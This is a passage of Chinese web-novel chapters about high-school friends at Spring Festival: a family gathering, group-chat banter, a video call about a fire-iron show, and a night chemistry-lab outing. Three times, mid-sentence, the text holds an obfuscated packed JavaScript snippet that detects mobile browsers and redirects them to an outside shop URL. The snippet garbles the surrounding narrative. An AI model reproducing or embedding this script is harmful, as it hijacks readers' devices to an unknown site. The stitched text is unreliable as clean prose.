“谢谢大姨二姨三姨,谢谢嫂子,妞妞再见,表哥再见,我先回房间了,你们慢慢聊!” 唐母话音刚落,唐瑜嫣就如蒙大赦,不等其他人反应过来立马起立,礼貌地谢过所有的红包,一秒都没有多停留,飞也似地逃进了老家属于她自己的房间。 这帮姨姨嫂嫂见一个话题中心人物逃走了,倍感无趣,于是把魔爪又伸向了在角落降低存在感,悄悄猫着打游戏的表哥身上。 “程程啊,你看你都多大年纪了,还不找女朋友,赶紧找一个回来让姨帮你把把关啊!你看人家隔壁小王,媳妇都生二胎了……” 只能说学业和婚姻,不愧是逢年过节聚会聊天亘古不变的话题…… 庆幸自己逃出生天的唐瑜嫣急急把房间落锁,然后长叹一口气倒在床上刷手机。 朋友圈和群里一排下来刷屏全是发年夜饭和抢手气红包的,她看见那个他们班群(无老师版)连跳了好几个红包,手痒发作下意识就想抢。 可能是她们家在蹭网偷偷摸摸抢红包的不止她一个,点进去后加载的灰色圈圈转了老半天都没转好,半分钟过去才跳出来那句,“手慢了,红包派完了。” 一段极其不美妙的回忆突然涌上她心头——她去年鏖战半小时只抢到一个红包,好巧不巧居然拿了个手气王,还要倒贴一个红包出去。 这一大片连续的红色的封皮突然就变得碍眼起来,唐瑜嫣烦躁地挠了挠头,最后百无聊赖地点开了电子课本,打算随便看看陶冶一下情操,翻了两页又发现一个字也看不懂。 “啧…大过年的怎么没一件事顺心…”她在床上连打几个滚试图泄愤,还把那压根看不懂的公式截了个屏打算找个幸运观众无奖回答她的问题。 这时展妙的消息突然在群里弹出,打断了她的阎王点卯。 “大家除夕快乐呀!有在吃什么好吃的吗!” 唐瑜嫣点开她附上的照片,其中有一张是占了半张图片的怼脸照,身后依稀可见的那桌饺子被挡去了大半。 剩下全是一些展现她社牛属性的亲戚合照。 唐瑜嫣心想,这厮大概就是那种会和长辈说,“我记得您,您小时候还抱过我呢!”的社交恐怖分子。 “除夕快乐,大家看春晚了吗!那小品太好玩了哈哈哈哈哈!”段辰也出现了,他们家年夜饭只是一些家常菜,但也有鱼有肉,称得丰盛。 唐瑜嫣压根没拍年夜饭,她觉得年年都差不多,好像也没什么好拍的。 但鉴于大家都接二连三地分享,她一个人不发多说不过去。于是她点开她大姨的朋友圈,开始翻找照片,准备偷几张过来应付一下,找了半天回来发现群里展妙和段辰已经越聊越偏了。 展妙:“是啊是啊,我觉得那魔术也挺有意思的,原理还是几个数学模型!” 段辰:“数学模型吗,学校下次模拟考不会要追这种新闻热点出压轴题吧!” 展妙:“哎上学期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406466|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期中不就考了个拓朴学的题吗,你当时被坑了吗!” 段辰:“嗨呀,别说了,我当时急着把鞋带都给扯下来了,被我们那监考老师唠了几个月……” 唐瑜嫣一看乐了,那位写不出题目把鞋带甩飞的传奇人士居然就在身边。 “居然是你吗!我们数学老师每节课上课前都要讲一遍这个故事,他说你当时扯鞋带,还把鞋拽飞到讲台上了!他捡起来还闻了下,当场问你是不是几天没洗袜子了,这鞋,滂臭!” 展妙:“哎哟,我们数学老师也是,我还听到过几个版本,流传最广的说你边扒拉绳子边掩面而泣呢!” 段辰:“纯纯的污蔑啊!怎么可能会哭啊……而且你们女生还可以扯扯发带摆弄一下,我看了半天除了鞋带就只剩校裤的松紧带了!我总不能把裤子脱了耍流氓吧!” …… 跟他们俩贫了半天,唐瑜嫣心情好多了,看都没看顺手就把刚刚存的年夜饭照片发过去。 唐瑜嫣:{视频} 群里突然沉默了一段时间,唐瑜嫣还没感觉什么不对,这时候一直消失不在的宋飞珑出现了。 宋飞珑:“小唐你太敷衍了啊,是不是压根没拍!直接把你妈剪的视频转发过来了是吧!” 后面就连着跟着一大串“哈哈哈哈哈哈哈”和表情包。 段辰:“哈哈哈哈哈哈哈小唐你从哪整来的土味视频,背景是花开富贵,配乐还是好运来!小小年纪就一把年纪了。” 展妙:“不要放过这个中年富贵小唐啊,我要奖励她多剪几个这样的视频。” 唐瑜嫣看热闹的表情瞬间凝固,立马翻上去看自己到底发了个什么东西。 刚一点开,那个辣眼睛的封面就猪突猛进般撞进她眼底。她二话不说赶紧把屏幕摁黑,然后又想起什么,点开长按屏幕试图撤回。 可惜她发现的时候早就超过三分钟了——她怀疑这帮损友是故意卡着过了三分钟才提醒她的。 展妙:“截屏保存了么么哒。” 段辰:“哈哈哈哈世另我。” 宋飞珑:“小唐下次说话注意点,有你黑历史了嗷。” 随后他也发了他们家的年夜饭,估计是一大家子人在什么高档宴会包厢里吃的。周围金碧辉煌,桌上全是什么帝王蟹、蓝龙虾、牛鞑靼、威士忌白兰地之流,散发着源自富贵的美味。 段辰:“宋哥,我要说您能不能打包带点回来赏给咱,您会骂咱乡巴佬吗?” 段辰是出了名的爱吃,午饭三碗起步,晚饭五菜一汤,家里给他为数不多的钱都砸在吃上面了,平生最大愿望是高考考到山城天天吃香喝辣。 展妙:“帝王蟹好吃吗?我听说有钱人海鲜全是海边空运过去的是不是!” 宋飞珑:“还行吧,清蒸的鲜,但我感觉醉蟹也挺好吃的,我去问问他们有没有已经拿酒腌好的,带给你们尝一下……” 唐瑜嫣的脑袋原本还闷在抱枕里,在为照片误转成视频自闭。 一看到宋公子想要当散财童子,立马精神了。把枕头往下拉,找了个舒服的角度趴在床上,想都不想直接加入展妙和段辰的队伍,开始框框刷一大堆谢谢老板的表情包。 这让在那边刚刚逃离家庭聚会的压抑氛围,出门透气又惨遭人挤人的宋飞珑哭笑不得。 18. 第 18 章 First beat 像宋家这种豪门家族,想要大家一起亲亲热热和和平平兄友弟恭基本是不可能的,从宋飞珑记事起,就没有哪次聚会不是充斥着虚伪压抑的气氛的。 虽然不至于剑拔弩张,在宴会上吵起来,毕竟宋家人都要面子,但时不时一两句的阴阳怪气肯定少不了。 他那笑面虎二叔和黑心肝三叔没少蛐蛐他,说他两耳不闻窗外事,对自家生意上的事一点也不关心,以后怎么能接得上宋董身上的担子,倒不如把股份和公司分给他们。 总之说了半天就离不开股份这档子事。 宋飞珑可不在意股不股份掌不掌权,他的家族信托基金早就够一个普通人活几辈子了。 “二叔三叔想要,那不如匀点给他们呗,省得此次聚会跟那鸿门宴一样。”这位当时还在读初中的傻白甜小少爷如是说。 他的母亲明岚女士嗤笑着给了他一巴掌,“我说宋飞珑,你想得可真美,你见过哪个公司权力分立还能走得下去的?你爸现在压在上面他们还不敢动,要是换他们掌权,咱们家第二天就被赶尽杀绝你信不信。” 斗了这么多年,宋家现在也保持了一个微妙的平衡,宋父不愿对二弟三弟下死手,但也不会让他们翻出什么水花。 这次聚会也不例外,先是他二叔说学校事务繁忙,宋董成天操心这操心那太辛苦,未免忽视了公司,不如让小弟分担一些。 又是他三婶说家里的裙子首饰都旧了,自己嫁过来之前从来没受过这种委屈,哪像大嫂这样,样样珠宝都是似人定制,希望大哥多拨点款,让她也风光风光。 在这种氛围下,不管吃什么都味同嚼蜡。宋飞珑摸着口袋里震动的手机,想找个理由离席了。 “小君想不想到外面玩一下,哥哥带你去逛逛好不好!”宋董夫妇少年相识,早早成婚,宋飞珑大他表弟十几岁。 这小孩还在喜欢看热闹挤人堆的年纪,对股份地位也没多大概念,只觉得屋里这帮大人无聊透了,一直往窗外望,眼巴巴地盯着市中心熙熙攘攘的人群,看样子是有什么迎新活动。 听到宋飞珑邀请,又得到了他母亲的许可,他立马喜笑颜开地拍拍手,“好呀小珑哥哥,我们去广场那边嘛,好像有无人机和非遗表演!” “小君,想看无人机,爸爸可以找人在家给你飞,表演也可以专门为你演,不用麻烦你小珑哥哥。”宋寅不想让自己儿子就这样被宋飞珑拐跑了,非要扫这个兴。 “阿寅啊,”宋董语气平缓,但又带着些不容置疑的味道,“让这俩孩子自己出去培养培养感情吧,天天闷在家里闭门造车可不好。” “大哥,人太多了,不安全,况且……” “哎哟,懒得听你们扯皮,既然二弟不放心这俩孩子去,那我跟着一起去好了,行了小君,大伯母带你去玩。” 明岚也是雷厉风行且不按常理出牌的性格,说完话拐了人就跑,也不管那帮大老爷们的反应。 于是宋飞珑就这样左手牵着表弟,右手打字回着他们群里的消息,等在了最堵的中心广场上。 “妈,今年他们做了醉蟹吗?”宋飞珑随口问道。 “做了啊,还说腌得特别好,你想吃我们明天晚上吃啊。”明岚拨弄着自己新做的指甲,好像有点长,回头去律所估计要再修修。 “明女士,你自己想吃别赖我身上啊……我要打包几只,回头送几个朋友。” “跟你妈说话这么没大没小,成,我让小陈给你包好送过去。” 宋飞珑得到指令后就划开手机,准备在群里问他们仨过年这会儿在不在市里,什么时候送过去方便。 但鉴于单手敲字太过艰难,他费劲千辛万苦,句子也才打到一半。 正在此时,远方忽然传来沉厚的钟鸣,一下,两下……整整八响,那声浪仿佛贴着地面,徐徐漫开。 周围的人群随着钟声沸腾起来,齐齐举起手机打开录像。聊天声、欢呼声此起彼伏,躁动的观众开始推搡拥挤。 宋飞珑感觉自己没少被肘击,甚至还被一个身强体壮的大爷从后面横插一脚,硬是挤了他个踉跄。 ——估计是新年庆典要开始了,他想。 他摸索着他表弟的手,想把这小孩儿抱起来,让他感受一下一览众山小的快乐。 谁知道小君比他机灵多了,估计在他和输入法斗智斗勇的时候就把他的手挣脱,找了个台子,一溜烟爬到了最高点。 发现他的累赘哥哥终于舍得把视线从手机上挪开,看向他之后,立马高高挥着手,表示无需挂念。 宋飞珑舒了口气,虽然他二叔总是怀疑他图谋不轨,十有八九暗地派了保镖出来跟着他们,但归根结底还是他把小君拐出来玩的,得对人安全负责。 他又四下探寻想找明女士,最后无奈地发现刚刚那一挤,把他俩挤开了十万八千里,现在想会合几乎是不可能。 “反正明女士这么大个人了肯定丢不了,不如品鉴一下当今流行文化艺术,陶冶情操。”宋飞珑乐得空闲自在,立马举起手机加入周围群众。 这几年国家传承和发扬非遗之风盛行,许多地方和自媒体纷纷乘着这风顺势而上,连新年演出都是非遗表演串烧。 首先上台表演的是川剧变脸和喷火,这算是老生常谈的节目了。台上大师声东击西,变脸如雷,一口火苗像是要点燃整个广场。 宋飞珑感受到迎面而来的热浪,听见周围小孩“哇,爸爸他是奥特曼吗,会喷火哎!我也要喷!”的惊呼,一种想找人分享这份喧嚣与烟火的念头忽然涌上心头。 他莫名没有在群里发,唯独点开了唐瑜嫣的聊天框,发送了那段视频。 宋飞珑:{视频} 宋飞珑:“小唐晚上去看烟花了吗?跟你分享一个会喷火的奥特曼!” 唐瑜嫣:“……没有,现在不是不允许燃放烟花爆竹吗?市里烟花表演都改成无人机飞行了吧。” 唐瑜嫣:“还有,请不要把一些科学的喷酒精原理科幻化。” 宋飞珑看见唐瑜嫣回的这两句话,都能想象到她的神情和语气,忍不住轻笑出声。 宋飞珑:“仙女棒也没玩吗!你们家没有小朋友吗?” 唐瑜嫣:“有。他们太闹腾了,我姨妈让他们自己在院子里玩冷烟花,我不想下去。” 似乎是为了证明她这句话的可靠性,唐瑜嫣还录了一小段视频。应该是从房间窗户里往下拍的,能看见画面里那几个小孩似乎有使不完的牛劲,整个院子到处跑,所谓的冷烟花也是一甩一个响得震天撼地的摔炮。 宋飞珑心想,怪有趣的,如果他们家也能这么热闹,他一定会带着这帮“猴”挨家挨户扔摔炮,被这家撵走了就换下家! 不过他没有表达他的羡慕,只道:“大过年的,一个人在房间里多孤单,来跟我一起看表演!”然后弹了一个视频通话过去。 对面很快就接了,宋飞珑看见小唐穿了一件红毛衣挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406467|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手跟他打招呼,看上去喜气洋洋的,应该是新年特供版。 他很热情地跟唐瑜嫣转播,还拿着手机扫了一圈,以展示现场的人山人海。 “…是啊,好多人,可热闹了!什么叫大少爷怎么能在广场上人挤人,本人假期天天在菜市场买菜回家捣鼓菜谱的好吗!” “哎,等一下,好像新的表演开始了,让我看看…小唐,快看快看,好像到打铁花了!”这人兴奋异常。 唐瑜嫣在群里消停之后又趴在床上看了一会书,原本都有些困了,眼皮上下打架,应付一堆亲戚们的来回调侃属实消耗精力。 宋飞珑这一堆消息轰炸加视频通话那一嗓子可算是强行把她吼清醒了。 唐瑜嫣在他喋喋不休的絮叨中垂眸看向手机,屏幕此刻闪着灼目的光,缤纷缭乱,好似一场花火大会。 宋飞珑大概是想通过手上这一小小方块,跟她分享那边的烟火人间。 千余度的高温铁水被匠人挥洒至空中,如万千星光刹那间绽放,不是烟花,但胜却烟花。 让她想起那远在宋代的元夕,“东风夜放花千树,更吹落、星如雨”,同等之盛世,同等之灯夜交织。 星火绚烂,只在夜空中闪烁一秒便消失殆尽,却映在人们的眼底心头,于电子数据与口口相传中,短暂地永恒着,或许人生海海,山山而川,却总流传着一些继古往今的浪漫。 唐瑜嫣耳边似乎响起嗡鸣声,她感觉她的心越跳越快,如此猛烈的颤动似乎要撕裂她的胸膛。 唐瑜嫣不知道,这是她对宋飞珑产生“爱”这一特殊情感的原初悸动。 她产生了一些莫名其妙的想法,可笑又无厘头,“为什么表演结束了宋少爷还不把摄像头转向自己?留了个空荡荡黑漆漆的舞台等着她上去唱戏吗?” “真真是火树银花,盛世祥和……话说小唐,你会喜欢这种转瞬即逝的绚烂吗?”宋飞珑的声音在此刻响起,像是应和着她的心跳共振。 “…当然,生命生来短暂,能有几个足以瞬间铭记已是难得之幸事。”唐瑜嫣下意识地回答,脑袋混混沌沌,不像是在说烟花。 “啊,那我倒希望我人生的燃料不要仅仅分成几份…哦小唐,你知道吗,以前附中每年校运会汇演晚上都会放烟花的!” 唐瑜嫣不惊讶于他前半句话,这人看着就像一团火,不仅自己一直燃烧还到处乱跑煽风点火。 “你别玩火自焚就好…我在附中呆四年了怎么一次烟花都没见过。”她对后半句话提出质疑。 “你知道的呀,市里不让放,加上学校这几年越来越只关注高考和竞赛了,其他好多活动都取消了。” “要是我当了校长,过几年管控得没这么严了,我一定全把它们争取回来!全方面发展!”宋飞珑信誓旦旦。 要是要是,这世界上哪有这么多要是,不过这人的身份又为这种可能增添了可能性。 “你要不直接把你爸踹了直接当董事长吧,这样比较实在,”唐瑜嫣不置可否,“况且等你上位了,我都毕业不知道多少年了,哪看得到什么烟花。那句话怎么说来着,你一毕业,学校就光速装修腾飞。” 虽然她心里始终认可,这人就是很适合进军教育行业,而不是到公司当有些冷冰的白领。 “那就在校庆上放,让回来的毕业生也能看得到。”宋飞珑像是开玩笑,又像是在坚定地保证什么。语气中透露出好似探囊取物的信心,轻易而又郑重着。 19. 第 19 章 “想不到啊,老宋不仅要防亲兄弟,连亲儿子也不能放过,啧啧啧,有些人表面看不出来,内地里竟是如此狼心狗肺。寒心啊寒心!” 电话那头的唐瑜嫣闻言立马噤声加挂断电话,留宋飞珑一个人尴尬地假装自己很忙,对着光秃秃的屏幕挠头摸鼻尖。 “人总要有梦想吧,而且这叫合法合规的合理继承,妈,我可是你和老宋的贴心小棉袄啊!” “哇塞,要不是我从你说要是能当校长这一句话的时候就站在你旁边了我可就真信了。”明岚抱着胸似笑非笑,“这小姑娘是谁啊,介绍我认识认识呗。” “哎,人家可大有来头呢!她可是附中未来的化学竞赛金牌获得者好吧!未来的你高攀不起!”宋飞珑扯皮已经到了炉火纯青的地步,八字没往一处撇的事给他说得理所应当。 “啧,我还以为是想让你谋权篡位的哪个小妖精呢,大过年的还不忘跟人打视频电话!” 明岚顿了顿,想了想她是附中的学生,声音一扬,在周围吵闹的环境中都显得明显,“哎你别犯浑啊!” “什么跟什么啊,一位聊得来的学妹而已。”宋飞珑哭笑不得,“还有,我英明神武的明女士,我今年的压岁钱呢!” “那已经很特殊了,有几个人能让你说出聊得来…”明岚鄙夷且嫌弃,“你还是未成年吗?一把年纪了问妈妈要压岁钱!” 宋飞珑想了想,点头赞同前半句,小唐与他而言确实称得上特殊。大多数人都认为自己和他们聊得来,这不过是自己带有教化意味的向下兼容,跟小唐倒感觉是两人平等地交换意见,让人很舒服。 如果要用一句大家都懂的话来形容,大概就是“她不一样”。 “多少岁都是小孩好吧!”说完他就看到明女士效率惊人地给他打了好几个零的“封口费”,用行动表明不想听他继续鬼扯。 宋飞珑乐开了花,真心实意地祝福,“愿明女士新的一年能挣更多的钱!越活越年轻!越活越开心!和宋董每天生活如热恋!” 他收到巨款后也不藏私,立马在他们的群里发了一个红包分赃。 宋飞珑:【红包】 宋飞珑:“人人都有不用着急qwq!” 展妙领取了您的红包。 展妙:【惊讶】【谢谢老板】【老板大气】 小唐领取了您的红包。 唐瑜嫣:“祝宋公子早日升官发财改名为宋董!” 段辰领取了您的红包。 段辰:“宋哥,恕老奴唐突,我原来以为高考会是我的人生巅峰。现在一看,我还是太过肤浅了,认识您这种大方的富哥才是真的顶啊!” 宋飞珑:“别说这些有的没的,过节呢,大家高兴就好!” 宋飞珑:“你们这段时间在市区吗,方便的话我让人把醉蟹送过去。” 唐瑜嫣:“我在老家,初六回去。” 展妙:“我初五…现在家里没人。” 段辰:“我一直在市区,宋哥让人送是没空见面了吗,我还以为可以年后聚一聚呢!【失落】” 宋飞珑想了想,虽然他也确实很想和他们聚会,但他初七就要去明女士老家那边走亲戚了。之后估计就在那一直呆到开学,然后回学校,就不回这边了。 看起来的确有些困难重重,但他及其擅长克服困难,“我初七之后就不在这边了,小唐初六什么时候回来,初六晚上有机会吗?” 这想一出是一出的,唐瑜嫣无奈,不过她同样期待能和他们聚会,“可以的,我中午回来。” 展妙:“好耶,那我们计划一下,出去大干一场吧!” (此处省略99+条消息) 在经历了一番激烈的讨论,否决了一大堆方案后,竟然是留下了最早提出且最离谱的那个——他们先去私厨吃带过去的醉蟹,然后由宋飞珑出面,搞到学校大门和化学实验室的钥匙,夜闯铁山做化学实验,感受化学学科之美! 这个传奇的想法是唐瑜嫣提出来的,她老早就想去实验室上手玩玩了,没想到竟然是在这种时候实现的。 宋飞珑喜闻乐见,竞赛生这么热爱学习可是铁山一大幸事。段辰也是化学竞赛的,想捣鼓实验试剂的心路人皆知。展妙更是哪里好玩哪里热闹就去哪里,主打一个乐子人。于是这件事就这么敲定了。 “我们就这样进来了?没人管吗?”刚刚吃得太撑,段辰肚子胀得他打了一个饱嗝。 “是呀,害怕吗,而且现在整个校园就只有实验室亮着灯哦~”宋飞珑的声音从旁边幽幽传来。 “空荡无人的校园,伸手不见五指的走廊,灯光摇曳忽闪的化学实验室,在目光所不能及的地方,一道黑影骤然滑过。” “几位学生各怀鬼胎,竟于新春夜聚集于此,他们将调查这所普通学校背后不为人知的秘密……” 宋飞珑越讲越尽兴,全然把自己当成了鬼片短视频解说,感觉下一秒经典的小帅小美就要从他嘴里蹦出来了 ——好吧,先到来的并不是烂俗电影主角,而是唐瑜嫣一个又快又准的肘击。“有完没完,段辰怕鬼你不知道?” 嘿,他还真不知道,他没有和这仨高中生看过电影,也就没有见过段辰当时看鬼片的时候死死蒙住眼睛,缩在那两位女士背后的场景,“小唐,等鬼吓完人以后再叫我哈!”属于是又菜又爱看。 宋飞珑眨眨眼表示无辜,然后很有职业道德地飞速讲了一句结束语,“预知后事如何,且听下回分解…” “还有那什么,说下正事。虽然是老生常谈,大家都不爱听,但我还是要提一嘴实验室安全,实验服手套护目镜,带上了才能做实验,废液倒到指定废液缸。”宋飞珑正色。 “别不当回事,中学实验室是没什么危险药品,但也要注意。我们项目组去年有个人做有机实验,不小心把酸碱混倒了,又不盖盖子,过了几分钟实验室爆炸了,人在里面没跑出来,直接没了啊!”他加重尾音。 做化学实验哪有绝对安全?宋飞珑可不想明年这个时候,从盼红包飞升成盼纸钱。 “行…不会拿着浓硫酸和氟化氢乱泼的,暂时也没有想感受王水腐蚀性的念头…话说我们能做点什么实验…?” 唐瑜嫣滑开拉链,把羽绒服挂在门口的衣架上。又把沾过几次不明试剂,有些泛黄的实验服套到最外面。 “我们能做那个…海底火焰吗?或者是化学极光?”展妙兴致冲冲,她经常刷到那种名叫“十秒钟让你感受到源自化学的浪漫”,“史上最美化学实验”这类的视频。 但鉴于化学课上相关的实验太过无聊,成天在弄什么“浮溶游响红”云云,想做点好玩的实验算是天方夜谭,故而一进来就兴冲冲地去找重铬酸钾和鲁米诺试剂。 “可以啊,中学能涉及到的试剂基本是齐的,可以随便用,搞清楚配比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406468|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,少碰那些太活泼的物质就行。”宋飞珑倒是潇洒,只要不出安全事故,他们想做什么就做什么。 唐瑜嫣闻言打开那个写着“阴凉干燥存放”的柜子,挨个转出标签,硝酸钾,氯化铵,□□……虽然说是她提出来的计划,但反而她不知道要做什么。 “你们大学做过什么好玩的实验吗?”她随口问。 “对啊,宋哥,你们大学实验室肯定很多高精尖设备吧!”段辰眼冒金光。 “哎说到这个,既然你们好奇,那我就借这个时机让你们好好祛魅一下!”宋飞珑清清嗓子,“宋老师科普小课堂堂堂开幕!” “就我们专业而言,除了无机实验,算是指示剂和变色反应用得比较多的,大学的很多实验都非常无聊!甚至比高中的都还无聊!” “毕竟不是人人都是靠独门结晶法创业成功的沃尔特·怀特,生活跌宕起伏还刺激。” “哎,小展你别点酒精灯!那边有恒温加热器,我们今天不点明火!”他眼疾手快地打断在后面一心二用,偷偷摸摸搞小动作的展妙。 “我拿物化实验举例子吧,大多数实验装置10分钟就能搭好,剩下的步骤就是每隔一分钟记录一次数据,一做就是一早上!” “上学期我做过一个实验,大概是拿计算机联用计算溶解热,学校那个古董电脑,程序足足卡死了四次,最后我连午饭都没吃上。” “正可谓是,一入科研深似海,从此头发是路人,我舍友熬夜熬不出成果,每天头发可是大把大把地掉啊~”他痛心疾首。 “宋哥,原来你劝我学化学竞赛的原因,是想对我的头发图谋不轨吗。”段辰瞪大双眼。 远处的烟雾缓缓升起,展妙的硫酸铜已经开始蒸发了,她恨不得长出八条触手,着急地翻箱倒柜,把玻璃皿抓出来,反手盖在烧杯上隔绝空气。她庆幸道,“啊那幸好我以后要学考古…” “考古难道不更…”段辰被展妙忙里偷闲瞪了一眼,紧急把“灰头土脸”这四个字收回肚子里,转移话题,“小唐呢,小唐大学还想学化学吗?” 这可真把唐瑜嫣问住了,她其实真没想好自己以后要干什么,原本她打算等高考成绩出来,照着分数填志愿的,那几门大工科学什么她都能接受。 毕竟现在为时尚早,在最终志愿出来之前万事皆有可能。 不过现在被拐来学化学竞赛,她可能真要跳进生化环材的天坑里了。 “不一定吧,看竞赛成绩,要是保送的话就学化学,没保送就去学电气计算机,好赚钱。”唐瑜嫣很中肯地回答。 她只是答应了宋飞珑学竞赛,不一定大学依旧学化学,况且他们现在已经在学大学化学专业的内容了。 所以她目前所期待的是,她的大学生活能带给她些新鲜感,既好找工作,又能让她学到点别的东西。 “你们尊重一下宋老师小课堂啊喂!我这是欲扬先抑好吗,我想说…”宋飞珑势必要把这三个扰乱课堂纪律的“问题学生”拉回正轨。 “你想说,但是…”唐瑜嫣揶揄。 “但是你们不觉得做出一点点小发现小成果非常有成就感吗,上学期我做了一个实验误差几乎为零逢人就吹吹了两个月。”他一口气说完,“这就是搞科研的魅力啊!” “总之你们以后自己体会吧!”他挥了挥手,暗自感叹“孺子不可教也”,让这帮不解风情的学生自己玩去吧。 20. 第 20 章 “宋哥,咱实验室能炼金吗?” 宋飞珑无奈摇头,这还真不行。“你是说金镜反应吗,氯金酸快三百块一克了,报废率还高。要不你还是做个低配版的黄金雨吧!” 你瞅瞅,这学化学的不一定有科研梦,但肯定有成为炼金术士的梦。 “小唐呢,要不要做一个彩虹瓶玩玩?我舍友做了这个送他女朋友,他女朋友高兴了一整天,说感谢他为公主殿下创造了一个独属于她的五彩斑斓的童话世界!” 宋飞珑打发完段辰,发现唐瑜嫣还在犯选择困难症,于是走过去跟她肩并肩挑选试剂。 “你恶不恶心…”唐瑜嫣扒拉着溶液瓶,听到他掐着嗓子摇头晃脑地跟她装小公主,鸡皮疙瘩都起来了,“你们大学生谈恋爱这么齁的吗!” “哎!什么叫你们大学生,不要以偏概全偷换概念好吗。像我这样生长在国旗下,沐浴在春风里的好青年就不会这样!”宋飞珑举起手指在唐瑜嫣眼前摇了摇,“智者不入爱河,寡王一路硕博!” “别贫了…你说我做个风暴瓶怎么样,这个管用吗?”唐瑜嫣无语,抬手又给他一肘。 “试试呗!科学论证的过程就是不断试错的过程,管不管用要具体实际具体分析啊!”宋飞珑这次有准备了,先一步抬手挡住,然后张牙舞爪地跟唐瑜嫣做了个鬼脸。 唐瑜嫣被他唬得一激灵,手上那瓶氯化铵差点直接洒在他身上,手忙脚乱地把瓶子抓稳之后,立马就后悔了。 ——就应该趁乱把氯化铵往他身上一泼,顶着一身氨水味过年去吧你! 说起来风暴瓶这实验特简单,很符合大众对化学实验的幻想。俩溶液往中间一倒,搅合搅合,不用等加热,不用等凝结,反应立马就开始了。 当然你别指望俩白色透明溶液没加指示剂能立马变得五颜六色就是了。 唐瑜嫣摇晃着锥形瓶,善意地提醒,“你怎么还在这杵着,展姐可准备点酒精灯玩焰色实验了哦!” “没事,我已经把那几个喷剂锁起来了,她玩不了的。”宋飞珑凑到她耳边小声嘀咕,且抢先一步,“哎!你别喊啊!” “你看我像是会告状的人吗!”被揭穿了坏心思,唐瑜嫣也不心虚,“不是,你看我这溶液怎么分层了?” 教学视频里的溶液清澈透亮,且随着四季轮转,冷热交迭,液体中会析出不一样的晶体。 在如今天这般寒夜中,小雪花和小冰晶应当占满一整个试剂瓶。唐瑜嫣想,这大概能弥补他们所看不到的,那个与他们相距千里的北方,那个大雪纷飞的纯白世界的遗憾。 但很明显这个实验并不是很成功,她这瓶不仅上下分层,摇晃起来还有油滴质感,与网上成品相比差异巨大,堪称买家秀卖家秀。 宋飞珑举起她的锥形瓶转了一圈,“要不拿去加热看看,可能是天气太冷了,溶液不好融合。” “——展女侠,你加热器用完了吗!给小唐混个溶液,哎你这硫酸铜晶体结得挺漂亮啊!”他赞叹道。 已经结束了第一个实验,又到处找不到焰色试剂的展妙,转念开始致力于做出海底火焰。 她拿着滴管快速地往重铬酸钾碱溶液里滴过氧化氢,听到夸奖后开始翘尾巴,骄傲地炫耀:“一次成功哦,比不过展姐你无需自卑!” “那我们天才的展姐知不知道为什么这溶液分层了!”唐瑜嫣把锥形瓶放在加热台上,笑着来者不拒。 “等下等下,我把这些溶液倒进稀硫酸里再说,我怕过氧化氢挥发了!”展妙加快了手上速度,“哗啦”一声,溶液瞬间沸腾,紫色焰火在瓶底应声而起,“老宋,液体里的火不能叫明火啊!” “什么情况什么情况!怎么把灯关了?喔,这边烧起来了!”段辰凑热闹总是慢人一步,捧了个大烧瓶给大家作了个揖,“瞧瞧!我黄金雨也做好了!以后有钱了给大家换成真的!” 唐瑜嫣早早把灯给拍了,漆黑的教学楼里只剩这一簇紫色的光,神秘幽静。有一种下一秒就要穿越到魔法异世界的奇妙感。 可惜当今世界是唯物主义的世界,与其相信自己可以穿古穿书穿至异大陆,不如相信有人呼喊自己是秦始皇。 正所谓人有离合,月有圆缺,所有激烈绚烂的化学反应都有和烟花一样的弊端,那便是好景不长,长时间准备只换来一刻的灿烂。这海底火焰亦然,所以半分钟过后教室又陷入一片黑暗。 唐瑜嫣又把灯打开,“knock-knock,快来个人来拯救一下我的风暴瓶!” “在加热呢在加热呢!但感觉没什么变化啊,再等等看呢?”展妙没管那反应完的残骸,直接蹲下来盯着唐瑜嫣这瓶不明物质的分界层,不过也说不出个什么所以然。 “感觉像水溶液和乙醇没融好啊,宋哥,你能看出这里面发生什么反应了吗?” “我哪看得出?”宋飞珑好笑,“有机反应很复杂的,不说化学式,空间结构都能有一大堆不同,现在想看出这里面有什么,估计要去送检拿机器测了。” “那现在怎么办…失败了吗…?”段辰问。 “那要看你怎么定义失败了,正义都有过程正义和结果正义。那咱们给失败也造个词,表面失败和实质失败,这瓶风暴瓶看起来确实没那么成功,但万一过两天它开始结晶了,那我们原本所期待的目的就达到了,那它外表是什么样又显得没有那么重要了。所以就看你怎么想了。”宋飞珑又开始摇头晃脑地扯大道理。 “不过话说回来,小唐你想重做一瓶也可以,看看做完之后立马放上来控温怎么样…这瓶我拿去我实验室帮你看看。” 